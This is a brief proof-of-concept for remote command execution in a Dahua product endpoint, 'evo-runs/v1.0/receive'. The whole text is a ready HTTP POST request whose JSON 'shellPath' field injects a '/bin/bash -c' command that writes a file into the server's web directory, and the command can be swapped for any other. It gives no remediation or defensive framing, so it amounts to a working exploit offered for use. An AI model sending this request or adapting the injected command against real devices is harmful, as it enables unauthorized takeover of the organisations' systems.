大华 evo-runs/v1.0/receive RCE

poc：

POST /evo-runs/v1.0/receive HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 222
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
X-Subject-Headerflag: ADAPT

{
    "method": "agent.ossm.mapping.config",
    "info": {
        "configure": "test",
        "filePath": "test",
        "paramMap": {
            "shellPath": "/bin/bash -c 'echo test > /opt/evoWpms/static/test.txt'",
            "filePath": "test"
        },
        "requestIp": ""
    }
}